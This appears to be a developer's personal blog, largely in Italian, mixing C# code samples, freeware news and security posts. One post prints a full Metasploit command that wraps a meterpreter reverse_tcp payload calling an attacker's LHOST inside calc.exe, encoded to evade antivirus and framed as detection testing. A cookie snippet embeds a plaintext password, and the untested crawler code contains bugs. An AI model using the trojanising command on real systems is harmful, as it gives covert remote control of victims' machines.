Monday, March 28, 2011

The German magazine online Chip reviews AntivirusMulti 2.3

Chip Magazine Germany has reviewed AntivirusMulti 2.3 (I'm the author ) and it has included antivirusmulti in "permanent" download list , I hope that users can send me email or add anonymous comment for opinions or suggestions for new features,you can give me an opportunity for improving this software.




here the project 

send me an email or add comment for your opinion

Tuesday, February 22, 2011

Metasploit 3.5.2

risale al 9 febbraio l'uscita della nuova release che migliora l'installazione ed aggiunge alcuni script ed exploits per eseguire ulteriori test http://www.metasploit.com/

Monday, January 24, 2011

Using multicore power : TPL library ,a simple test for Parallel.For , running time "< 40%"

Recent pc have multicore processor but rarely code is optimized for using this power,generally processor  allows a fast responsive application without using multitasking multithreading tecniques , some time you have that a single threaded application run into a core and other core  sleep....


I have do a simple test for seeing performance difference from sequential programming and parallel programming "ready to use" from TPL library :
language  c# ,namespace windows forms ,cryptography,system.threading.tasks (under last namespace you can find Parallel and other interesting things like PLinq and Task object ),
like hard work for processor I choose generation of asymettric pairs key I use RSA.Create()

this is the code :

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading.Tasks;
using System.Security.Cryptography;

namespace TestParallel
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
           

        }

        private void TestParallel()
        {
            DateTime dt1 = DateTime.Now;         
            var pairs = new string[100];
            //auto generate multiple thread
            //rsa creation keys like hard work
            Parallel.For(0, pairs.Length,
                          i => pairs[i] = RSA.Create().ToXmlString(true));
            DateTime dt2 = DateTime.Now;
            TimeSpan ts = dt2.Subtract(dt1);
            int hours = ts.Hours;
            int minutes = ts.Minutes;
            int seconds = ts.Seconds;
            int millisesonds = ts.Milliseconds;
            string str = hours.ToString() + ":" + minutes.ToString() + ":" + seconds.ToString() + ":" + millisesonds.ToString();       
            this.textBox1.Text=str;
        }

        private void TestSequential()
        {
            DateTime dt1 = DateTime.Now;
            //single thread
            var pairs = new string[100];
            int l = pairs.Length;
            int k=0;
            while(k<l) {
                pairs[k] = RSA.Create().ToXmlString(true);
                k++;
            }
            DateTime dt2 = DateTime.Now;
            TimeSpan ts = dt2.Subtract(dt1);
            int hours = ts.Hours;
            int minutes = ts.Minutes;
            int seconds = ts.Seconds;
            int millisesonds = ts.Milliseconds;
            string str = hours.ToString() + ":" + minutes.ToString() + seconds.ToString() + ":" + millisesonds.ToString();
            this.textBox2.Text = str;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            this.TestParallel();
        }

        private void button2_Click(object sender, EventArgs e)
        {
            this.TestSequential();
        }

    }
}


and this is the result :


Parallel time execution 13,7 seconds ,sequential execution 23 seconds ,my pc is dual core and advantage is > 40% if you have recent multicore processor you can do a test ,

success of parallel is not a surprise but percentage reveal an excellent performance


Thursday, January 20, 2011

XmlVm in pratica

XmlVm è un tool opensource cross compiler convertitore di codice ,

non esiste ancora una release come accennavo nello scorso post ma
potete scaricare il codice sorgente da qua http://sourceforge.net/projects/xmlvm/
usando subversion che trovate qui http://subversion.tigris.org/ ,

a questo punto il modo piu' semplice per avere XmlVm pronto all'uso
è scaricare Apache Ant ---> http://ant.apache.org/

installate ant ,al massimo dovrete settare 3 variabili di sistema (pannello di controllo---> sistema-->avanzate ---> variabili ambiente ....)  java_home,ant_home a path con i valori relativi che potete trovare nel manuale html conteuto nel download di ant ,

eseguite ant puntando alla dir dove avete scaricato xmlvm (vedi http://www.xmlvm.org/documentation/ Compiling XmlVm)

a questo punto avrete nella dir "dist" l'eseguibile java xmlvm.jar che potete invocare dal vostro jre-jdk usando java.exe

ho provato a fare un semplicissimo programma di test usando netbeans e poi usando le opzioni --target=iphone , e target=js ho generato le applicazioni equivalenti a quella desktop in java,xmlvm.jar sembra produrre del codice corretto sia per quanto riguarda gli script javascript che il progetto per iphone per il quale viene generata una dir contente tutti i file sorgenti ed un file make , purtroppo per compilare i file sorgenti servirebbe un apple mac ed uno ios sdk, non possiedo nessuno dei due ma se qualche lettore del blog avesse mac e l'sdk iOs  potrebbe fare una prova e poi postare un commento od inviare un email . XmlVm permette anche di convertire java anche in codice per Android e Palm oppure generare codice iphone da codice android (objective-c),nella doc del sito si trovano tutte le opzioni elencate , il vantaggio complessivo sembrerebbe evidente in quanto si può sviluppare con strumenti rad open usando java e poi buildare un eseguibile per vari dispositivi mobili o meno in modo relativamente semplice,uno dei colli di bottiglia è però rappresentato dal fatto che l'sdk ios è solo per Mac e per di piu' sembrerebbe distribuito solo ai developer apple registrati (e paganti?!?) il progetto resta comunque molto interessante e navigabile facilmente con Eclipse ,
partire da eseguibili c# (cli) attualmente sembra piu' arduo in quanto la compatibilità java verso gli altri target è attualmente piu' ampia a livello di "compilatore" xmlvm , la similitudine sintattica  tra java e c# rende comunque facile usare java per chi utilizza c# ,una potenziale possibilità per i programmi scritti in c# è portarli sotto Mono e compilarli in modo nativo per i singoli processori http://www.mono-project.com/Mono:ARM



Tuesday, December 28, 2010

Metasploit 3.5.1 ,BackTrack r2

Risale al 15 dicembre la realizzazione di una nuova versione di metasploit la 3.5.1 con 46 moduli nuovi ed una quindicina di nuovi script,da provare....,alcuni dei nuovi script sono specifici per catturare audio e webcam su una macchina remota....... ,

passando a BackTrack r2 dovrebbe rappresentare un notevole passo in avanti ,piu' bello il wiki che permette di affrontare i problemi piu' comuni ad esempio non parte la gui grafica [verificato :-( ] ,

la versione r2 ha un file di "installazione" già pronto per le macchine virtuali vmware ,in questo modo potete provare backtrack senza fare un dual boot dedicando un paio di giga del vostro hard disk e niente altro ,ed eventualmente rimuoverlo come se si trattasse di un file,

per la r2  novità consistenti nell'area wireless http://www.backtrack-linux.org/wiki/index.php/Wireless_Drivers ...

Tuesday, October 12, 2010

WiFi Defender : un software per mappare la rete wifi

Wifi Defender è un semplice software che ho sviluppato in c# per mappare la rete wifi ,catturarne gli eventi,cercare macaddress od hotspot ,migliorare la sintonia con un antenna direzionale,versiona attuale: 0.1 prealpha ( http://code.google.com/p/wifidefender/)

Friday, August 27, 2010

Nemesis un software per misurare la velocità delle connessione internet con accuratezza e valore legale

A fine estate dovrebbe essere possibile scaricare un software per la misurazione della velocità delle connessioni internet particolarmente accurato,il software sarà disponibile all'url "www.misurainternet.it" e questo sito sarà collegato ad un altro che riassumerà i costi delle varie connessioni,il software effettua diverse misurazioni nelle 24 ore per arrivare ad un valore il piu' singnificativo possibile,sembra che il report generato da questa applicazione potrà avere un valore legale.

Eliminare un processo di sistema come extrema ratio

LEGGETE IL POST FINO ALLA FINE PRIMA DI FARE QUALCOSA...
nel caso in cui vi venga segnalato un virus in un processo di sistema l'antivirus potrebbe non contemplare l'ipotesi di killare il processo ospitante il virus (un esempio era lsasser che si annidava nel processo lsass) , il task manager probabilmente non vi consentirà di eliminare il processo negandovi l'accesso ,killare un servizio di sistema potrebbe in questo scenario permettere al vostro antivirus di riprendere il controllo della situazione ma molti sono i possibili e probabili effetti "collaterali" : eliminando dai processi in esecuzione un processo di sistema potete facilmente incorrere nel blocco della macchina,schermata blu perdita dei dati se oltre ad un restart forzato , la scelta stà quindi a voi ,per portare a termine l'operazione normalente non consentita potete utilizzare ProcessHacker un software gratuito ed opensource scritto in csharp che vi consente una gestione maggiore dei processi in esecuzione rispetto al TaskManager,se avete altre strade da tentare provatele prima di contemplare anche solo ipoteticamente questa possibilità .
LA FINE DEL POST :-)

Sunday, August 22, 2010

Newzie un software freeware per recuperare ed aggregare notizie dal web in modo intelligente

English version
Newzie è un software freeware ed utile che potere scaricare dal sito http://www.newzie.com/ ,permette di monitorare il cambiamento di pagine web,aggregare piu' feed rss in uno solo, inserire dei filtri nei feed in modo da recuperare solo quei post che contengono solo le parole chiave da noi scelte come rilevanti .Per le altre interessanti funzioni vi rimando al dettagliato help,è un software gratuito che può essere ,a mio avviso, utilizzato in ambito professionale da blogger e giornalisti ,ad un primo sguardo mi sembra manchi un dizionario dei sinonimi che potrebbe potenziare e rendere piu' comodo l'uso di filtri formati da keywords sui feed .

Saturday, August 21, 2010

Manipolazione immagini in c#

Qualche link con articoli  e progetti interessanti relativi alla manipolazione delle immagini usando csharp :

  • http://www.c-sharpcorner.com/uploadfile/shrutishrivastava/imageprocessing12192005061519am/imageprocessing.aspx un articolo introduttivo alla manipolazione di immagini in .Net ,
  • http://www.dreamincode.net/forums/topic/53101-image-manipulation-with-gdi-in-c%23/ come aggiungere un "copyright" ad un immagine
  • http://www.aspfree.com/c/a/C-Sharp/Basic-Image-Manipulation-using-GDI-and-C/ , un'introduzione a GDI
  • http://www.codeproject.com/KB/GDI-plus/Image_Processing_Lab.aspx ,dallo stesso autore di interessanti software e librerie open (http://code.google.com/p/aforge/) per la detection di movimento e non solo , un interessante articolo che illustra funzioni avanzate


un post  per chi vuole qualche spunto per acculturarsi  su questi argomenti trattati su piattaforma windows con il framework .net utilizzando il linguaggio csharp.

Friday, August 20, 2010

An interesting freeware software: "Memory Improve Ultimate Free Version"

now a freeware version,this software increase pc performance, software is designed to improve and monitor system memory,on website of software house you can find a plus of info and download link  >>>>  "http://www.windowscarepro.com/memory_improve_ultimate_free_version/index.htm"

Thursday, August 12, 2010

Freeware software BackTrack r1 , Black Hat conference edition

Risale al 5 agosto l'uscita della nuova release r1 di BackTrack oltre all'immagine iso potete scaricare sul sito ufficiale l'ìimmagine pronta per vmware che consente di usare in una macchina virtuale in un sistema windows quest'edizione con nuovi tool ed un nuovo kernel ,l'immagine per vmware è di circa 2400 mb.

Friday, August 6, 2010

Convertire codice vb.net in c# o viceversa oppure da c# verso python o ruby con un software freeware ed opensource

Tutto questo è possibile utilizzando SharpDevelop (è freeware ed open source,scaricate  la 3.2 o successive) il risultato può non sempre essere eccelso ma comunque il convertitore funziona ,
aprite il progetto sorgente ad esempio in c# ,navigate il menu principale fino a progetto apritelo ed andate a converti scegliete il linguaggio che preferite e verrà appeso alla soluzione un nuovo progetto che sarà la traduzione nel linguaggio destinazione del progetto iniziale....

Thursday, August 5, 2010

Freeware and opensource software Content Management System Umbraco

Umbraco è scritto in C# ( asp.net ) e richiede Sql Server come database,è sufficiente la versione gratuita di sql server, l'Express 2005 o 2008 .

Umbraco è attualmente il CMS piu' in voga nel mondo asp .net e la sua diffusione è dovuta al alcuni chiari fattori :

-è gratuito ed opensource

-è un cms molto "usabile"

-è facile da modificare aggiungendo qualsiasi controllo asp.net all'interfaccia quindi estendendo l'interfaccia di Umbraco e le sue funzionalità nel modo desiderato

-è ovviamante estendile anche il "backend" aggiungendo funzioni all'applicazione quale la generazione di documenti pdf o qualsiasi altra integrazione possibile di .net con l'interoperabilità verso qualsiasi altra libreria anche non .net ad esempio è possibile aggiungere un validatore di bilanci XBLR al nostro sito "Umbraco" in pochi passi utilizzando IKVM (opensource)  per interagire con la libreria java opensource che gestisce il formato oppure interagire con le api di windows tramite P-Invoke , ad esempio per chiamare l'antivirus di default sulla macchina,in questo caso l'host con IIS (il processo dell'antivirus potrebbe rallentare IIS se sulla stessa macchina...) , usando lo stesso metodo utilizzato da Firefox al quale ho accennato in un passato post, per controllare la presenza di virus in un file di cui viene fatto il download ,
a questo proposito è necessario dire che tra le molte estensioni pronte e gratuite di Umbraco è presente anche un controllo per l'upload di file con un sistema di chunk ovvero se vogliamo caricare un file molto grande nel cms(Umbraco) possiamo farlo in piu' volte con dei chunk (pezzo,unità) di 100 kb senza dover ripartire dall'inizio dell'upload .

Geolocalizzazione con street view e firefox

Samy Kamkar alla Black Hat hackers conference ha dimostrato come un sito web gestito da un hacker può risalire alla nostra locazione geografica , non alla localizzazione tramite ip ottenibile con iptrace ed altri software molto diffusi ma l'hacker può risalire alla localizzazione precisa, errata solo di pochi metri ,da quello che ho letto penso che in realtà si tratti almeno di alcune decine di metri basandosi sulle coordinate per la localizzazione gps ,  qui trovate il post da cui ho tratto la notizia , interessati sicuramente gli utenti di Firefox.

Wednesday, August 4, 2010

StealthMessage,messaggi email "a scadenza"

StealthMessage.com è un sito che permette di creare un account di "posta elettronica" gratuito non proprio classicamente inteso....,è  possibile scrivere un messaggio di posta , al destinatario viene inviata un email che contiene un link che punta al sito Stealth Message ,dove il messaggio può essere letto in https , il mittente può impostare un tempo scaduto il quale il messaggio sul server Stealth viene cancellato ed è possibile settare anche una password per offuscare il messaggio .

Crittografia GSM : non è necessario crakkarla è sufficiente "spegnerla"

Da un articolo su TechRepublic si deduce che il protocollo GSM non sia forse il massimo in termini di sicurezza ,infatti è il dispositivo mobile che spedisce un certificato (IMSI) alla torre.....alla torre del network....in genere....,
il post che trovate qui "http://blogs.techrepublic.com.com/security/?p=4167&tag=nl.e036" spiega, in termini generici, come sia possibile  forzare i telefoni cellulari a disattivare la crittografia e quindi ad esporli ad un attacco del tipo Man-in-the-Middle .Questo avviene con un hardware che simula d'essere la cella del network,questo tipo di hardware si chiama IMSI-catcher,wikipedia ne dà una dettagliata descrizione , UMTS ha invece un tipo di autenticazione reciproca fra network e dispositivo rendendo l'attacco man-in-the-middle non praticabile.

Tuesday, August 3, 2010

E' arrivata la patch per la falla dei file .lnk di windows che permetteva l'esecuzione di codice remoto tramite windows shell

qui "http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx"
trovate il bolletino di microsoft con i dettagli , finalmente quindi questo problema che permetteva l'esecuzione di codice remoto tramite la windows shell è risolto, l'aggiornamento viene scaricato subito da windows update essendo di livello "critical"......

Friday, July 30, 2010

A browser crawler : the code

configuration class allows some configuration variables and methods

public class Configuration
    {
        public int sequenceLen = 10000;
        public int bigPauseSeconds = 9;
        public int littlePauseSeconds = 2;
        public int frequencyBigPauseMax = 21;
        public int frequencyBigPauseMin = 5;
        public int deepBrowsing = 3; //
        public List<string> browserIdentities = new List<string>();
        public Configuration()
        {
            LoadBrowserIdenties();
        }

        //only for webclient class usage
        private void LoadBrowserIdenties()
        {
            //add here "user-agent" http values
            browserIdentities.Add("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)");
        }

    }
LoadBrowserIdentities allows loading of "user-agent" var for multiple browsers, at this time one :-) ,

Util class do ...utility class and contains methods helper for entire application

 public class Util
    {

        public Util()
        {

        }
        
        public string HtmlEncode(string input)
        {
            return HttpUtility.UrlEncode(input);            
        }
        public List<int> CreatePauseSequence()
        {
            Configuration c = new Configuration();
            List<int> sequencePauseList = new List<int>();
            Random r = new Random();
            int bigPauseRndFrequency = r.Next(c.frequencyBigPauseMin, c.frequencyBigPauseMax);
            int start = 0;
            int end = c.sequenceLen;
            while (start < end)
            {
                if ((start % bigPauseRndFrequency) == 0)
                {
                    sequencePauseList.Add(this.BigPauseCalculator());
                }
                else
                {
                    sequencePauseList.Add(this.LittlePauseCalculator());
                }
                start++;
            }
            return sequencePauseList;
        }
        private int BigPauseCalculator()
        {
            Configuration c = new Configuration();
            int initial = c.bigPauseSeconds;
            Random r = new Random();
            int randRet = r.Next(10);
            int final = initial * randRet;
            return final;
        }
        private int LittlePauseCalculator()
        {
            int finalLittle = 0;
            Configuration c = new Configuration();
            Random r = new Random();
            int rndRet = r.Next(10);
            int l = c.littlePauseSeconds;
            finalLittle = rndRet * l;
            return finalLittle;
        }
    }
class NodeResource is a node of navigation process ,it extends Node class

public class Node
    {
        public Node()
        {
        }
    }

    public class NodeResource:Node
    {
        public int deepNode = 0;
        public string uri = null;
        public bool visited = false;
        public HtmlDocument currDocument = null;
        public string strCurrDocument = null;
        public List<KeywordsResult> listK = null;
        public List<RegExResult> listR = null;
        public byte[] binaryResource;
        public NodeResource()
        {
        }
    }

class Navigation is navigation process

public class Navigation
    {
        public List<string> keywords = new List<string>();
        public List<string> regularExpression = new List<string>();
        public List<NodeResource> listNodes = new List<NodeResource>();
        public int deepNodeLimit = 0;
        public Navigation()
        {
            Configuration c = new Configuration();
            this.deepNodeLimit = c.deepBrowsing;
        }
    }

class RegExResult store result of regular expressions extracted from uri data

public class RegExResult
    {
        public string regExtext = null;
        public List<string> matchList = null;
        public RegExResult()
        {
        }
    }

How it works :
here codebehind from a windows form
for first is called Load method when form is loaded ,
it create a timer but disabled ,when button is clicked on interface of windows form
navigation class is instanced and timer property "enabled" is setted to true value, timer run , when it elapses
for first enable value of timer is setted to "false" , after setted navigate methods of webbrowser control is called,when downloadcompleted event from webbrrowser control is elapsed noderesource object have an embedded htmldocument ,all works with enabling disablign timer,I have choosed this solution for emulating a human user in this software and for this it hava e DoSleep() function ,it stop current thread for a pause ,pause is short or long and values are random from a min and a max ,
iinto Configuration class you have a deep value it is max deep of exploration ,


public partial class Form1 : Form
    {
        List<int> calculatedSleepInterval = null;
        List<HtmlElement> links = new List<HtmlElement>();
        List<HtmlDocument> listHtmlDocs = new List<HtmlDocument>();
        public Navigation nav = null;
        System.Timers.Timer timer = null;
        NodeResource currNodeResource = null;
        public Form1()
        {
            InitializeComponent();          
        }

        private void button6_Click(object sender, EventArgs e)
        {
            //add here result speech processor...
            //add <br> and "." parse consideration introducing pauses during reading process

        }

        private void Form1_Load(object sender, EventArgs e)
        {
            TimerCreation();
            //EmailManager email= new EmailManager();
            CalculateSequencePause();
            Util u = new Util();
            this.webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted);                     
        }

        private void TimerCreation()
        {
            timer = new System.Timers.Timer();
            timer.AutoReset = true;
            timer.Enabled = false;
            timer.Interval = 2000;
            timer.Elapsed += new ElapsedEventHandler(timer_Elapsed);
        }

        /// <summary>
        /// timer do all works , 
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        void timer_Elapsed(object sender, ElapsedEventArgs e)
        {           
            //go to first unknown uri
            int counted = this.nav.listNodes.Count;
            int counter = 0;
            bool found=false;
            //found unvisited resource
            while (counter < counted && !found)
            {
                NodeResource nr = this.nav.listNodes[counter];
                if (!nr.visited)
                {
                    //here is unique point for calling Navigate() method
                    this.currNodeResource = nr;
                    //stop timer
                    this.timer.Enabled = false;
                    found = true;
                    this.webBrowser1.Navigate(new Uri(nr.uri));            
                }
                counter++;
            } 
            //if found ==false exit()
        }

        private void CalculateSequencePause()
        {
            Util u = new Util();
            List<int> sequencePause = u.CreatePauseSequence();
            this.calculatedSleepInterval = sequencePause;
        }

       
        void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
        {           
            WebBrowser w = (WebBrowser)sender;                        
            //set currNode
            currNodeResource.uri = w.Url.ToString();
            currNodeResource.currDocument = w.Document;
            currNodeResource.visited = true;
            currNodeResource.strCurrDocument = w.DocumentText;

            //replace currNode in list nodes
            int counted=this.nav.listNodes.Count;
            int counter=0;
            bool found = false;
            while(counter < counted && !found) {
                NodeResource res = this.nav.listNodes[counter];  

                if(res.uri.Equals(w.Url.ToString())) {
                    //replace NodeResource
                    this.nav.listNodes[counter]=currNodeResource;
                }
            }
            //here get sub nodes
            if (currNodeResource.deepNode < nav.deepNodeLimit)
            {

                //links to  resources
                counted = w.Document.Links.Count;
                counter = 0;
                while (counter < counted)
                {
                    //create and append a node for each new uri
                    HtmlElement elem = w.Document.Links[counter];                                     
                    NodeResource n = new NodeResource();
                    n.deepNode = currNodeResource.deepNode + 1;
                    n.uri = elem.GetAttribute("href");
                    this.nav.listNodes.Add(n);
                    counter++;
                }
            }
            //here re-enable timer object
            DoSleep();
            this.timer.Enabled = true;           
        }

        private void button8_Click(object sender, EventArgs e)
        {
            //start navigation
            if (this.nav == null)
            {               
                Navigation n = new Navigation();               
            }
            else
            {
                // clear previous navigation values
                // this.nav.listNodes.Clear();
            }
            //single node creation
            NodeResource node = new NodeResource();
            node.uri = this.textBoxUrl.Text;
            node.deepNode = 1;
            this.currNodeResource = node;
            //append node in navigation
            this.nav.listNodes.Add(node);
            this.timer.Enabled = true;      
        }

        private void DoSleep()
        {
            if (this.calculatedSleepInterval.Count < 1)
            {
                this.CalculateSequencePause();
            }
            int pause = this.calculatedSleepInterval[0];
            Thread.Sleep(pause * 1000);
            this.calculatedSleepInterval.RemoveAt(0);
        }
       
    }
application will provide for reading result using speech synthesizer ,
at this time I search a stand alone synonyms dictionary for an addtion of correlation to basic, plain ,search of keywords.I love multithreading tecniques but this application will emulate a human user and he have a single conscious process ..or not? ,
code is not tested and not compiled...

Thursday, July 29, 2010

Come costruire un browser-crawler

translate to english
Parto dall'elenco (aperto) delle funzionalità :
1) browser
2) crawler che permetta di trovare le informazioni sul web navigando  seguendo link ,parole chiave (e magari sinonimi)
3) report l'applicazione deve essere in grado di presentare i dati in modo compatto per permettere in seguito una navigazione umana sui  dati estratti o sulle pagine originarie
4) avere un tipo di navigazione che riproduca il piu' possibile quella di una persona per non caricare i web server o saturare la nostra connessione quindi niente code di chiamate http o simili ,un dizionario dei sinonimi incorporato permetterebbe di introdurre una certa elsticità alle keywords iniziali
5) il programma deve permettere di impostare la profondità e  l'accuratezza della navigazione  ,ad esempio se estrarre anche l'eventuale testo dalle immagini i meno
6) il software deve essere in grado di imparare ossia di non analizzare una seconda volta risorse uri dalle quali non ha  estratto dati validi per una determinata ricerca,poich' le pagine web cambiano questa dev'essere un'opzione e non una scelta
7) l'applicazione deve avere un certo livello di sicurezza per questo deve poter girare dentro una sandbox

Una possibile soluzione:
    in .net su piattaforma windows usando mono su linux e unix.
I singoli punti :
1) con il controllo webbrowser
2) sempre con il controllo webbrowser che ha gli eventi per essere pilotato programmaticamente,si potrebbe anche utilizzare la classe webclient ,il controllo web browser dà però il vantaggio di avere un accesso immediato al dom dell'oggetto html risultante dalla chiamata,per considerare i risultati pertinenti l'applicazione deve permettere l'aggiunta di regular expression alla keywords letterali , è necessario impostare un operatore simile a "near" per aggiungere un valore di prossimità rilevante tra le keywords.
3) gli oggetti collection e gridview  forniscono il necessario per la persistenza in "sessione" dei risultati,il sintentizzatore di sistema fornisce il modo per la possibile lettura audio dei dati
4) per questo risultato è necessario avere un unico thread che segue una navigazione temporizzata applicando costantemente la logica fornita dalla keywords (+ sinonimi se possibile per garantire una minima simulazione della correlazione tra concetti ed estensione della "base" di ricerca),visto che gli essere umani leggono le immagini ed il testo in esse contenuto l'uso di un motore ocr per considerare anche il testo nelle immagini dovrebbe migliorare il risultato,ad esempio tesseract.
5) la profondità può essere il numero di livelli di esplorazione partendo dall'uri iniziale
6)questo potrebbe concretizzarsi nel marcare un ramo dell'esplorazione come "da non seguire" se non ha portato ad un risultato,essendo mutevoli i contenuti del web (come del resto quelli di un filesystem) questa dev'essere un opzione
7) visto che l'applicazione naviga in modo autonomo l'esecuzione di essa dentro una sandbox sarebbe auspicabile , la sandbox di "comodo software" può essere una soluzione pratica e gratuita.


Spero che qualche letore possa aggiungere un commento critica o suggerimento anche in modo anonimo.

Costruire un browser-crawler per navigare in internet in modo "assistito" e con un risultato compatto

 translate to english
Si tratta solo di un idea ma un browser che svolga anche una navigazione parallela alla nostra e ci aiuti a trovare risultati pertinenti potrebbe essere a mio avviso un risultato parzialemente ottenibile ,un programma vagamente simile è Auto Web Browser ,
le funzionalità di quest'ipotetico browser-crawler :

 1) browser
 2) crawler che permetta di trovare le informazioni sul web navigando  seguendo link ,parole chiave (e magari sinonimi)
 3) report l'applicazione deve essere in grado di presentare i dati in modo compatto per permettere in seguito una navigazione umana sui  dati estratti o sulle pagine originarie
 4) avere un tipo di navigazione che riproduca il piu' possibile  quella di una persona per non caricare i web server o saturare la nostra connessione quindi niente code di chiamate http o simili ,un dizionario dei sinonimi incorporato permetterebbe di introdurre una certa elsticità alle keywords iniziali
 5) il programma deve permettere di impostare la profondità e  l'accuratezza della navigazione  ,ad esempio se estrarre anche l'eventuale testo dalle immagini i meno
6) il software deve essere in grado di imparare ossia di non analizzare una seconda volta risorse uri dalle quali non ha  estratto dati validi per una determinata ricerca,poich' le pagine web cambiano questa dev'essere unaopzione e non una scelta
 7) l'applicazione deve avere un certo livello di sicurezza per questo deve poter girare dentro una sandbox


spero che qualche lettore del blog possa dare un suo comnmento, critica o suggerimento.

Metasploit ,meterpreter and msfencode command

Msfencode command allows embed  meterpreter payload into an existing executable,this allows building test for antivrus detection and penetration test for firewall, hot it works:
msfencode is a function with some option parameters :
digit  msfencode -h , you see oprtions:


-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'

-c The number of times to encode the data

-e The encoder to use

-h Help banner

-i Encode the contents of the supplied file path

-k Keep template working; run payload in new thread (use with -x)

-l List available encoders

-m Specifies an additional module search path

-n Dump encoder information

-o The output file

-p The platform to encode for

-s The maximum size of the encoded data

-t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)

-x Specify an alternate win32 executable template

this is a sample usage :
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.210.01 R | ./msfencode -t exe -x calc.exe -k -o calc_meterpreter.exe -e x86/shikata_ga_nai -c 3

msfencode command adds reverse_tcp code to .text section of executable file and
output is a calc_meterpreter.exe ,if you run calc_meterpreter.exe reverse_tcp is executed in ram and if your firewall is bypassed and hacker listen you have a meterpreter console running on your localhost..... and your data will be copied or your pc will be used for criminal activity ,you can try to scan calc_meterpreter.exe using your antivirus and you can post here the result


Requirements for test :
- a pc with windows or linux ,(linux backtrack os have already installed metasploit)
- metasploit framework
 
You can try to detect and destroy meterpreter attack in ram using Antimeter.

Wednesday, July 28, 2010

Send email over ssl programmatically ,using c# and SmtpClient class

Send email programmatically using c# is very easy,here the code for a class EmailSender for Gmail for sample :
######################################################
using Systenm.Net.Mail;

public class EmailSender {
    public EmailSender(string smtpServerAddress,int smtpServerPort,usernameEmail,pwdEmail,emailAddressFrom,emailAddressTo) {
        SmtpClient mailClient = new SmtpClient(smtpServerAddress, smtpServerPort);
        mailClient.EnableSsl = true;
        NetworkCredential cred = new NetworkCredential(
           usernameEmail ,pwdEmail);
        mailClient.Credentials = cred;
        mailClient.EnableSsl = true;
        mailClient.Send(emailAddressFrom, ,emailAddressTo, "i'm the email subject", "i'm the email body");
    }
}
################################################

replace methos Send with SendAsync for heavy process,async don't stop caller thread,see msdn for doc

Tuesday, July 27, 2010

Antivirus tutti inutili?


Ho letto che alcuni tra gli attacchi piu' pericolosi avvengono tramite iniezione di codice malicious all'interno di processi in esecuzione,questo tipo di attacco ha conseguenze devastanti non tanto sul funzionamento delle macchina ma sui dati ,qualsiasi dato può essere portato all'esterno con facilità , vorrei sapere quali antivirus proteggono dall'iniezione di codice nei processi in esecuzione(exe o dll) in ambiente windows, ho cercato velocemente in internet ma non ho trovato notizie in questo senso,il vostro antivirus oppure altri eseguono questo tipo di controllo ?,

forse mi sono spiegato male quindi vi allego qualche link esplicativo :
come avviene l'attacco : un tipo di attacco di nmila possibili http://www.ethicalhacker.net/content/view/87/24/ ed ho trovato video peggiori , 

le tecniche di difesa http://www.4tphi.net/fatkit/papers/fatkit_dll_rc3.pdf , http://www.nologin.org/Downloads/Papers ... ection.pdf ,

il vostro antivirus gestisce l'iniezione di codice in un processo?,

spero che possiate aiutarmi al momento trovo il mio antivirus(uno dei) in un video in cui resta inerte ad un attacco in cui vengono copiati gli utenti e la password da una macchina remota....non sarei tanto sicuro che quest'antivirus abbia un ottima gestione del monitoraggio dell'iniezione di codice in memoria,


WebClient class ,add cookies management

//instance of webclient class
         WebClient w = new WebClient(mytestUrl);
 //add a valid user agent definition or web server can refuse your connection
 // here a reference "http://msdn.microsoft.com/en-us/library/ms537503%28VS.85%29.aspx"
         w.Headers.Add("user-agent","the preferred browser from this website");

 //here get data from url ......use async methods if you want a responsive application interface

        w.DownLoadString(myTestUrl);

//add a cookie for credentials
        w.Headers.Add("Cookie_Auth", "user=gianmarco; pwd=48763040");
        w.DownLoadString(myTestUrl);

//here get cookie sent from server in responseheaders of webclient class
      string[] cookies = w.ResponseHeaders.GetValues("set-cookie");

//add for sample first cookie, an auth token cookie result ,you have this cookie in next request......
      w.Headers.Set(HttpRequestHeader.Cookie, cookies[0]);
      w.DownLoadString(myAuthArea);

Monday, July 26, 2010

EasyHook : hook creation using c#

EasyHook is an opensource project that you can find on Codeplex.
Software allows hook creation using managed code like c# or vb.net.Project have a tutorial and samples for  hooking o.s. dll easily .You can create an hook for sample over a kernel32 function using class LocalHook ,using method Create , project have a compiled help file for documentation of managed  library, you can see p-invoke website database for building handler.

Sunday, July 25, 2010

Meterpreter : appunti ,prima parte

Meterpreter è un software per verificare la resistenza di un sistema ad attacchi tramite paylod in memoria.
Linux BackTrack ha già installato Metasploit con Meterpreter.

Meterpreter per la sua esecuzione non crea un nuovo propcesso ma viene eseguito all'interno del processo che è oggetto dell'esploit , riguardo alle estensioni di meterpreter possono essere scritte in qualsiasi linguaggio che crei degli oggetti di tipo shared (dll).
Caratteristica fondamentale di Meterpreter è l'avere un insieme di comandi pronti per essere eseguiti e facilitare la creazione di nuovi test.
Da un punto di vista operativo e logico Meterpreter è comporsto da due parti un client ed un server,queste due parti condividono parte del codice e delle funzioni,innanzitutto quelle necessarie a permettere la comunicazione tra client e server.
La comunicazione client server:
Il client ed il server meterpreter comunicano usando un protocollo ""proprietario"" . Il protocollo di trasmissione usato è di tipo TLV ,acronimo che significa Type-Lenght-Value. La sezione Lenght (lunga 32 bits) contiene la lunghezza dell'intero pacchetto, la sezione Type contiene le definizione del tipo del pacchetto(lunga 32 bits),la sezione Value che può essere da 0 ad n bits contiene i dati (magari altri pacchetti TLV nidificati).
I pacchetti possono essere di 4 tipi attraverso due ""proprietà"" : possono essere di tipo plain oppure no e possono di tipo request o di tipo response.
I Comandi "core" di meterpreter:
-read: questo comando permette di leggere da un canale della comunicazione stabilita
-write: scrive su un canel di comuncazione
-close: chiude un canale do comunicazione
-interact : passa alla modalità interattiva su un un canale
-exit : chiude il client
-initcrypt : inizializza il sottosistema crittografico (usa xor)
